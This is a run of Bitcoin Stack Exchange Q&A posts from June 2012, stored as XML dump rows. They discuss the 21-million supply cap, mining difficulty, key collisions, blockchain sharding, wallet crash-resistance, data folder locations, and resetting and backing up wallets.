  <row Id="3983" PostTypeId="2" ParentId="3970" CreationDate="2012-06-18T05:04:25.710" Score="5" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You download a program that &amp;quot;generates&amp;quot; random numbers again and again and again (millions of times per second depending on your computer speed). Think lottery.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Two different people will not get the same random number, because each person has his own predefined set.&lt;/p&gt;&#xA;&lt;p&gt;For a very simplified example, numbers from 1 to 1000 belongs to &amp;quot;me&amp;quot;, and numbers from 1001 to 2000 belongs to &amp;quot;you&amp;quot;. If you decide to generate a random number from 1 to 1000, you are helping me win the lottery.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the random number matches a &amp;quot;pattern&amp;quot;, it is accepted. If it doesn't match the &amp;quot;pattern&amp;quot;, it is rejected.&lt;/p&gt;&#xA;&lt;p&gt;For a very simplified example, if the &amp;quot;pattern&amp;quot; says we accept only even numbers, then ~50% of the random numbers will &amp;quot;hit lottery&amp;quot; and 50% will miss. If the pattern was so easy to match, I can simply generate the numbers 2, 4, 6, 8... and get a 100% hit rate. Apparently in the real case, even the simplest &amp;quot;pattern&amp;quot; is so hard to match that we can't simply work backwards and try to derive a number that will match the &amp;quot;pattern&amp;quot;. The only way to get a number that will match the &amp;quot;pattern&amp;quot; is though trial-and-error, which is why its exactly like lottery.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the pattern is easy to match (relatively speaking), we will get many hits. If the pattern is hard to match, we will get lesser hits. The pattern changes every 2016 hits to ensure that we get roughly 1 hit every 10 minutes. If we hit too quickly, we get a harder pattern to match (so future hits will be slower). If we hit too slowly, we get an easier pattern to match (so future hits will be faster).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A cheater can't just invent a &amp;quot;simple pattern&amp;quot; to follow, because everyone agrees on what pattern to follow. If his pattern differs from the majority, it means that the majority wouldn't accept it (we don't recognize the &lt;em&gt;coin&lt;/em&gt; he generates).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is how we ensure that batches of BitCoins are created roughly once every 10 minutes and a cheater can't simply decide to generate them every second.&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-05-24T08:08:59.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3984" PostTypeId="2" ParentId="3981" CreationDate="2012-06-18T08:55:22.197" Score="7" Body="&lt;p&gt;This is like worrying that your house will get hit by two asteroids. There are so many ways your house can get destroyed that are millions of times more likely. So it's not rational to worry about this, except for the second or two it takes to realize that it's not worth worrying about. For example, a collision on the hash of the public key is about 80 billion, billion, billion times more likely.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-06-18T08:55:22.197" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3985" PostTypeId="2" ParentId="3981" CreationDate="2012-06-18T11:18:50.907" Score="2" Body="&lt;p&gt;The Bitcoin protocol does not enforce anything from the wallet, asides requiring specific ECDSA curve to be used for key generation. If you happen to generate a keypair colliding with another keypair, congratulations, it's a very rare occurrence ! Same if your public key will hash into the same Bitcoin address (in theory you could have two different keypairs that have the same address associated with them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The consequence for such an occurrence is that both of the owners of the keys can spend the money associated with the corresponding address, not an ideal situation. If you are lucky, you might be able to steal someone's Bitcoins (but shame on you if you do), but most likely you'll just come across some address that was used only once, as the standard client has a tendency of generating new keypairs for every transaction in order to protect your anonymity.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-18T11:18:50.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3986" PostTypeId="2" ParentId="3970" CreationDate="2012-06-18T12:31:16.840" Score="2" Body="&lt;p&gt;Personally, I think it's useless to explain or to mention this limit (it's just an imaginary limit anyway, new chains with better properties will appear before it is reached!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you'd rather just mention that bitcoin generation is limited to some fixed amount per day. This limit is guarantied because people who want to join the game of money creation have no other choice than to follow the pre-existing rules (and this includes everyone, for example current miners but also future developers)… unless one manage to convince more than half of the network that rules need to be changed. Such a change would be similar to the birth of a new (improved?) currency, that everyone would adopt and which may enforce different rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notice that nowadays this happen quite often. Bitcoin is still young and minor changes proposed by the developers are adopted easily. &lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2012-06-18T12:31:16.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3987" PostTypeId="2" ParentId="3229" CreationDate="2012-06-18T13:11:49.970" Score="1" Body="&lt;p&gt;I always use &lt;a href=&quot;http://www.domains4bitcoins.com&quot; rel=&quot;nofollow&quot;&gt;http://www.domains4bitcoins.com&lt;/a&gt; they take Bitcoin and have free privacy protection and DNS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(com     net     org&#xA; co  co.uk   in&#xA; biz     us  eu&#xA; mobi    asia    name&#xA; tel     co.in   tv&#xA; me  info    ws&#xA; bz  cc  org.uk&#xA; me.uk   net.in  org.in&#xA; ind.in  firm.in gen.in&#xA; mn  us.com  eu.com&#xA; uk.com  uk.net  gb.com&#xA; gb.net  de.com  cn.com&#xA; qc.com  kr.com  ae.org&#xA; br.com  hu.com  jpn.com&#xA; no.com  ru.com  sa.com&#xA; se.com  se.net  uy.com&#xA; za.com  gr.com  co.nz&#xA; net.nz  org.nz  com.co&#xA; net.co  nom.co  ca&#xA; de  es  com.au&#xA; net.au  xxx)&lt;/p&gt;&#xA;" OwnerUserId="1488" LastActivityDate="2012-06-18T13:11:49.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3988" PostTypeId="1" AcceptedAnswerId="3990" CreationDate="2012-06-18T18:06:08.350" Score="7" ViewCount="540" Body="&lt;p&gt;As the title says, which pools offer payouts to miners directly in the generation transaction of the block, as in Eligius?&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-03-14T17:03:23.287" LastActivityDate="2016-03-14T17:03:23.287" Title="Which pools offer payouts via generation? (Eligius-style payouts)" Tags="|mining-pools|pool-payout-methods|eligius|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3989" PostTypeId="2" ParentId="3970" CreationDate="2012-06-18T20:14:56.090" Score="4" Body="&lt;p&gt;Bitcoins are misnamed: a bitcoin is not an object, not even a virtual&#xA;object. There is one global bitcoin ledger, containing a history of&#xA;all bitcoin transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everyone can see and check the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ledger is made of &quot;pages&quot; (they're actually called &quot;blocks&quot;).&#xA;Creating a valid page in the ledger has been made artificially very&#xA;difficult, needing on average many days of CPU time - this means that creating&#xA;a whole fake ledger (actually called the &quot;block chain&quot;) is even more difficult, so nobody can do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each page has to identify the previous page in the ledger, which you&#xA;have to do before you do the difficult work. That means you can't make&#xA;random pages, you can only make the next page in the ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get people to do this very difficult work, each person who makes a&#xA;page is allowed to put one special transaction in the page, crediting&#xA;themselves.  This is the only way new credits get onto the ledger, as&#xA;normal transactions just move credits from one account to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Making these ledger pages is called &quot;mining&quot;, and anyone can do it,&#xA;but it requires a powerful computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the rules, the first 210,000 pages can have a special credit of 50&#xA;bitcoins.  That halves for the next 210,000, and again for the next&#xA;210,000, for ever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a page has a special transaction that adds more credit than the rules&#xA;allow, then it's not a valid page and nobody will use it as part of&#xA;the ledger: their software will reject it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That means that mathematically, the total of special credits, which is&#xA;the total of all the bitcoins in circulation, can never reach 210,000&#xA;x 50 x 2, or 21 million.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastEditorUserId="132" LastEditDate="2012-10-01T19:17:26.693" LastActivityDate="2012-10-01T19:17:26.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3990" PostTypeId="2" ParentId="3988" CreationDate="2012-06-18T21:37:08.260" Score="5" Body="&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=18313.msg944736#msg944736&quot;&gt;Luke recently posted&lt;/a&gt; that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Fresh-mined coins for payouts were innovated by pools in the following&#xA;  order: puddinpop, Eligius, BitPenny, p2pool.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-06-18T21:37:08.260" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3991" PostTypeId="2" ParentId="2333" CreationDate="2012-06-19T00:12:34.837" Score="2" Body="&lt;p&gt;This question is a little old now. But you could use the blockchain.info JSON RPC api. It is designed to be compatible with the original Bitcoind implementation and most functions can operate without private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockchain.info/json_rpc_api&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/json_rpc_api&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorUserId="78" LastEditDate="2012-06-19T06:35:14.997" LastActivityDate="2012-06-19T06:35:14.997" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3992" PostTypeId="1" CreationDate="2012-06-19T04:01:28.093" Score="8" ViewCount="720" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Scalability&quot;&gt;Bitcoin Scalability&lt;/a&gt; is a hot topic.  In database architecture design data is segmented into &lt;a href=&quot;http://en.wikipedia.org/wiki/Shard_%28database_architecture%29&quot;&gt;shards&lt;/a&gt; or the data is &lt;a href=&quot;http://en.wikipedia.org/wiki/Partition_%28database%29&quot;&gt;partitioned&lt;/a&gt; such that it can be spread among large number of machines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the financial world, credit card companies like Visa have to deal with thousands of transactions per second.  To deal with this volume credit card processors will use the Date as a shard key.  This allows for the credit card processor to group all transactions made in a set period of time and a set of machines are made responsible for a month of transactions.   Is this sharding tactic compatible with Bitcoin blocks?   Or more generally what if Bitcoin was as popular as credit cards?  What kind of techniques would Bitcoin be forced to use to cope with the scale of the problem? &lt;/p&gt;&#xA;" OwnerUserId="1446" LastEditorUserId="659" LastEditDate="2012-06-19T04:56:40.970" LastActivityDate="2012-06-20T14:31:30.407" Title="Can Bitcoin blocks be organized into shards?" Tags="|block|scalability|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3993" PostTypeId="2" ParentId="3992" CreationDate="2012-06-19T05:09:50.733" Score="3" Body="&lt;p&gt;There is nothing so special about the data in the block chain that this cannot be done, but at present I know of no client which implements such a thing. BitcoinSharp, BitcoinJ and the default (Satoshi) client all use different database types and there's no reason you couldn't make a client that used still another database type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So at present, no, it's not possible with off-the-shelf software, but there's no reason it couldn't be implemented as such if scale became an issue, or even implemented today as a proof-of-concept.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-06-19T05:09:50.733" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3994" PostTypeId="2" ParentId="3992" CreationDate="2012-06-19T06:23:12.747" Score="3" Body="&lt;p&gt;I don't think it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't understand what you mean by sharding by date. The bitcoin analogy would be sharding by block-number ... but that is already the case ... every block is worked on separately. The thing is, every block depends on the previous block, so a miner has to keep some record of the entire blockchain history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initially thought you meant just sharding by &quot;shard ID&quot; - splitting the blockchain into N independent chains, where a miner can decide to work on &quot;subchain 137 out of 1000&quot;. This idea won't work because every Bitcoin address must be able to send money to every other Bitcoin address. So, in order to mine only one shard, you still have to know the state of every other shard, because there will be transactions linking these shards (there could also be tx linking multiple addresses split between multiple (&gt;2) shards).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lastly, if you aren't suggesting a fork in this question, but just asking about techniques to process the existing chain structure using shards ... yes, the blockchain's data is shardable, it could be sharded by address. A miner would still have to process each new block, but its data set could be stored on a Redis cluster instead of in the memory of a single machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; - then again, maybe I was wrong. Here are my &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88714.0&quot; rel=&quot;nofollow&quot;&gt;latest thoughts on the matter&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="78" LastEditDate="2012-06-20T14:31:30.407" LastActivityDate="2012-06-20T14:31:30.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3995" PostTypeId="1" AcceptedAnswerId="3996" CreationDate="2012-06-19T06:48:15.433" Score="3" ViewCount="264" Body="&lt;p&gt;I'm running the &quot;official client&quot; (&lt;a href=&quot;http://bitcoin.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;12 MB zipped version&lt;/a&gt;) on a Windows platform.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are the risks (to my wallet) when the computer crashes due to overheating, BSOD, power failure, etc?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PVS1U.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the &quot;official client&quot; crash-resistant?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1475" LastEditDate="2012-07-02T04:52:40.190" LastActivityDate="2012-07-02T04:52:40.190" Title="Is the &quot;official client&quot; crash-resistant?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3996" PostTypeId="2" ParentId="3995" CreationDate="2012-06-19T07:13:42.093" Score="4" Body="&lt;p&gt;Yes, mostly, but there are some things you should know.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet is stored as a separate file. Your wallet file gets changes written to it &lt;a href=&quot;https://bitcoin.stackexchange.com/a/854/516&quot;&gt;as new blocks are received and transactions are made&lt;/a&gt;, etc. The chances of a crash occurring during a write to your wallet are probably minimal, but &lt;strong&gt;you should have a &lt;a href=&quot;https://en.bitcoin.it/wiki/Securing_your_wallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;backup of your (encrypted) wallet&lt;/a&gt; anyway. This is by far the most important point.&lt;/strong&gt; Once your wallet is encrypted with a very strong password (the client provides this function), you can store copies of it in insecure locations, so you always have a copy somewhere - store it in gmail, send it to your family etc. You should only need to make an additional backup every 50 transactions. Bear in mind the receiving address descriptions aren't encrypted though. Running the client with the -rescan option may fix minor issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client will refuse to work if a failed attempt at double-spending is detected, but that's not really what you're asking. Besides, &lt;a href=&quot;https://bitcoin.stackexchange.com/q/3654/516&quot;&gt;there appears to be a fix for the problem&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block chain takes a long time to download, so there is a risk that a crash would required you to download it again. If the client is closed (gracefully) while it is downloading the block chain, it resumes where it left off with no issues; I would guess it would probably do the same thing in the event of a crash, but it's only your copy of the block chain that's really at stake. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Realistically, once you've got your wallet encrypted with a strong password and backed up in multiple locations, the biggest remaining risk is from theft through a virus or malware. &lt;a href=&quot;http://gavinthink.blogspot.co.nz/2011/06/why-arent-bitcoin-wallets-encrypted.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Quote from Gavin Andresen&lt;/a&gt;: &quot;If your computer is infected, then it cannot be trusted, and there is no software in the world that can keep your bitcoins safe if they are stored on it.&quot;&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2012-06-20T08:18:06.290" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3997" PostTypeId="2" ParentId="3992" CreationDate="2012-06-19T07:45:21.783" Score="4" Body="&lt;p&gt;If you mean whether block verification can be distributed so that one entity can participate without storing the entire blockchain, this isn't compatible with the current design, but maybe a new design can do that. Also, suggestions such as &lt;a href=&quot;https://bitcointalk.org/index.php?topic=88208.0;topicseen&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; aim to improve the ability of lightweight (SPV) clients, who do not store the entire blockchain, to verify transactions concerning them specifically, without changing the core protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you mean whether a single entity can distribute the blockchain among several machines on the same LAN, then this is possible. The basic operation needed for block verification is to look up the details of a previous output, so the natural sharding key would be output hashes. One could also cache the newest outputs which are the most likely to be used in the following transactions.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-06-19T07:45:21.783" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3998" PostTypeId="2" ParentId="3970" CreationDate="2012-06-19T07:58:27.710" Score="1" Body="&lt;p&gt;I usually explain it like this: What constitutes a &quot;Bitcoin&quot; is precisely defined, just like what constitutes an &quot;ounce of gold&quot; is. Due to this definition, it is not mathematically possible for more than a certain number of distinct Bitcoins to exist. For example, since we all know what &quot;a positive integer less than or equal to 100&quot; means, there can only ever be 100 of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may need to go on to explain that just as two 33's are copies of the same number, there can be any number of copies of the same Bitcoin. And in fact there are thousands of copies of every Bitcoin. Since they are copies, they reflect the same owner owning the Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to go on to even more detail, explain that Bitcoin has an ordering rule such that a &quot;bigger&quot; version of the same Bitcoin &quot;wins&quot; over a smaller one. When I give you a Bitcoin, I get a miner to &quot;add in&quot; the transfer making your version of the Bitcoin bigger than mine. Thus your Bitcoin wins over mine, and so I can no longer spend it but you can. I give you the Bitcoin by announcing this &quot;bigger Bitcoin&quot; to the world, so nobody will ever accept my &quot;smaller Bitcoin&quot; again.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-06-19T07:58:27.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3999" PostTypeId="1" CreationDate="2012-06-19T09:15:37.183" Score="-4" ViewCount="88" Body="&lt;p&gt;Imagine I want to change the formula of transactions between a group of people who want to use this money in this way: &#xA; &lt;strong&gt;&quot;Everyone will have a maximun quantity of money to waste in the month, and whoever received an amount from other would waste that amount over the maximum.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is a credit that avoid Bitcoin could be seen like something material. So I am asking about a Bitcredit. If it is possible in your implementation and what could be the cost of use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The project I have is more or less more specific that a simple phrase, so I could give more explanations. But the concept itself is so easy like I exposed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question is: &lt;strong&gt;is it possible with bitcoins? What could be the cost?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1491" LastEditorUserId="323" LastEditDate="2012-06-19T15:23:24.893" LastActivityDate="2012-06-19T15:23:24.893" Title="A different question about a kind of use" Tags="|banks|money|accounting|bitcoin-credit-card|" AnswerCount="2" CommentCount="1" ClosedDate="2012-06-19T15:43:18.270" ContentLicense="CC BY-SA 3.0" />
  <row Id="4000" PostTypeId="1" AcceptedAnswerId="4001" CreationDate="2012-06-19T11:09:28.493" Score="4" ViewCount="9500" Body="&lt;p&gt;I lost my wallet pass, but thankfully didn't have any money there. How do I reset this thing and get a new fresh wallet with a new password?&lt;/p&gt;&#xA;" OwnerUserId="1179" LastActivityDate="2016-11-14T16:27:31.027" Title="How do I reset my wallet (bitcoin qt)" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4001" PostTypeId="2" ParentId="4000" CreationDate="2012-06-19T11:29:15.307" Score="4" Body="&lt;p&gt;Go to Bitcoin's &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;nofollow&quot;&gt;Application Data directory&lt;/a&gt; (in Windows 7 it's UserFolder\AppData\Roaming\Bitcoin) and delete the wallet.dat file.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-10-24T06:10:53.983" LastActivityDate="2012-10-24T06:10:53.983" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4002" PostTypeId="2" ParentId="3999" CreationDate="2012-06-19T14:00:36.590" Score="1" Body="&lt;p&gt;Bitcoin would be a poor choice for such a system because it doesn't really have a concept of account balances that are present in the blocks. You'll likely also need some central authority to decide who is part of &quot;everyone&quot;. Otherwise, someone can create a million accounts and then pool all the money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Bitcoin is fundamentally secured against double spends by mining, and that makes it a poor choice for any currency that can't pay sizable enough rewards to produce real security.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd probably find it much easier using some scheme based around accounts with balances rather than unspent transaction outputs.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2012-06-19T14:00:36.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4003" PostTypeId="2" ParentId="3999" CreationDate="2012-06-19T15:05:03.620" Score="0" Body="&lt;p&gt;If you want to implement crediting with Bitcoin, you'd need to create your own implementation of a bank. You would probably create it on a basis of an eWallet with some additional accounting code thrown in. It shouldn't be too costly to create, but it could get a bit expensive when you'll be trying to secure it against abuse. Recently there have been too many cases of Bitcoin thefts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you could get pretty much the functionality you describe (letting people spend up to X amount of Bitcoins a month plus whatever they get), by giving people Bitcoin addresses to use and just topping them up with a pre-set amount of Bitcoins. This way they could spend precisely the amount of Bitcoins you gave them plus whatever else they receive, and you could check their balance at the end of the month through a Block Explorer. It would be like a pre-paid debit card in this regard. This solution might not be precisely what you have in mind, but it appears to be close. This solution would be quite cheap, as you'd only need to have some accounting program running once a month on top of bitcoind more or less. This would mean a lot less potential chances of your Bitcoins getting stolen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, it's not too expensive to create financial Bitcoin applications, but a lot of your cost could go into securing your users finances.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-19T15:05:03.620" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4004" PostTypeId="2" ParentId="3992" CreationDate="2012-06-19T15:21:19.047" Score="1" Body="&lt;p&gt;It would be possible in a few areas:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing the block chain on a server could be done in the same manner any data is stored - be it in one places or in many. This would be trivial from Bitcoin perspective.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transmitting the data could also be partitioned into shards should a small change to the protocol be made - allowing one to request a block header with the information about the full merkle tree. This way one would know exactly which transactions are stored in the block without the need to know everything about all the transactions. The rest of the data could be fetched as needed from other places. This is similar to pruning the block history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preparing the blocks for mining could also be handled in a similar way, but it would require more trust from other nodes. A pool would only request the transaction hashes from other clients, not really needing to see the entire transaction in order to include it in the block header + merkle tree structure. The only downfall of this would be that someone could sneak in a few invalid transactions in this way, as there would be no data checking. So all in all, the pools that would wish to operate on seeing only part of the data would probably have to limit themselves to including transactions they have seen. This would mean that some transactions might take longer to include than others, depending on which pool has seen them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All in all, Bitcoin's data could be partitioned with only small changes to the protocol, but that would require a lot of consideration first.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-06-19T15:21:19.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4005" PostTypeId="2" ParentId="3533" CreationDate="2012-06-19T17:52:36.893" Score="1" Body="&lt;p&gt;I had the same problem but it has only been a few days since I fired up bitcoin and there had been no changes to my computer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have found that you can copy out your wallet.dat,  delete everything in the bitcoin directory/folder, and bitcoin will run with no error. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then immediately close bitcoin, copy your wallet back to the folder and restart - wallet.dat reads fine and all my coins are there. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The downside is having to spend a ton of time to download the entire block chain again :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Louis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Linux Mint (Like Ubuntu) - Winblows users may not have the same results.&lt;/p&gt;&#xA;" OwnerUserId="1492" LastActivityDate="2012-06-19T17:52:36.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4006" PostTypeId="1" AcceptedAnswerId="4007" CreationDate="2012-06-20T02:36:33.223" Score="42" ViewCount="76015" Body="&lt;p&gt;Where can I find the blockchain, wallet.dat, etc. on each of the operating systems &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin-Qt&quot;&gt;Bitcoin-Qt&lt;/a&gt; supports?&lt;/p&gt;&#xA;" OwnerUserId="659" LastEditorUserId="47827" LastEditDate="2020-09-16T11:36:16.677" LastActivityDate="2020-09-16T11:36:16.677" Title="Where is the data folder for Bitcoin-Qt?" Tags="|bitcoin-core|client|datadir|bitcoincore-gui|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="4007" PostTypeId="2" ParentId="4006" CreationDate="2012-06-20T04:21:26.180" Score="51" Body="&lt;p&gt;It is the same &lt;a href=&quot;https://en.bitcoin.it/wiki/Data_directory&quot; rel=&quot;noreferrer&quot;&gt;data folder&lt;/a&gt; as the non-QT version of the standard client used to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Linux:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;~/.bitcoin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MacOS:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;~/Library/Application Support/Bitcoin/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Windows:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;%APPDATA%\Bitcoin&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This defaults to &lt;code&gt;C:\Documents and Settings\YourUserName\Application data\Bitcoin&lt;/code&gt; on Windows XP and to &lt;code&gt;C:\Users\YourUserName\Appdata\Roaming\Bitcoin&lt;/code&gt; on Windows Vista, 7, 8, and 10.)&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="6661" LastEditDate="2016-07-04T22:15:58.540" LastActivityDate="2016-07-04T22:15:58.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4009" PostTypeId="1" AcceptedAnswerId="4010" CreationDate="2012-06-20T10:04:24.187" Score="2" ViewCount="475" Body="&lt;p&gt;In my %APPDATA%\Bitcoin folder (in Windows 7) I have a file called wallet.dat.rewrite&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was apparently last modified on 12th May 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think it's a file I created manually, so what is it?&lt;/p&gt;&#xA;" OwnerUserId="516" LastActivityDate="2012-06-20T11:57:39.530" Title="What is the file wallet.dat.rewrite?" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4010" PostTypeId="2" ParentId="4009" CreationDate="2012-06-20T11:57:39.530" Score="2" Body="&lt;p&gt;Sometimes the wallet file must be rewritten from scratch entirely (in particular when encrypthing it), to prevent unencrypted material to remain in old never-overwritten areas of the file. To do this, bitcoin writes a new file (wallet.dat.rewrite) and then renames it to wallet.dat. If this process is interrupted, it's possible that the wallet.dat.rewrite file remains. You can delete it safely.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-06-20T11:57:39.530" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4011" PostTypeId="1" CreationDate="2012-06-20T15:41:21.150" Score="8" ViewCount="9187" Body="&lt;p&gt;Using bitcoin-qt, multibit, or any of the others, how do I backup and save my wallet in case I need to reinstall Windows?&lt;/p&gt;&#xA;" OwnerUserId="1497" LastEditorUserId="659" LastEditDate="2012-06-20T17:50:34.880" LastActivityDate="2013-10-21T06:33:22.657" Title="How do I backup my wallet?" Tags="|backup|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
